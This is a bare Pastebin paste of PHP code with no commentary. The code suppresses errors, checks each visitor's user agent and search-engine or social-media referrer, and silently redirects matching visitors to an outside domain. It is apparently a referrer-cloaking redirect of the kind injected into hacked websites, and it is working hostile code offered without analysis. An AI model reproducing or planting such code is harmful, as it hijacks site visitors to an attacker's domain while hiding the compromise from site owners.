Guest User

Untitled

a guest
Nov 16th, 2012
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. error_reporting(0);
  2. $qazplm=headers_sent();
  3. if (!$qazplm){
  4. $referer=$_SERVER['HTTP_REFERER'];
  5. $uag=$_SERVER['HTTP_USER_AGENT'];
  6. if ($uag) {
  7. if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
  8. if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
  9. if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
  10. header("Location: http://pkjlapok.1dumb.com/");
  11. exit();
  12. }
  13. }
  14. }
  15. }
  16. }
Add Comment
Please, Sign In to add comment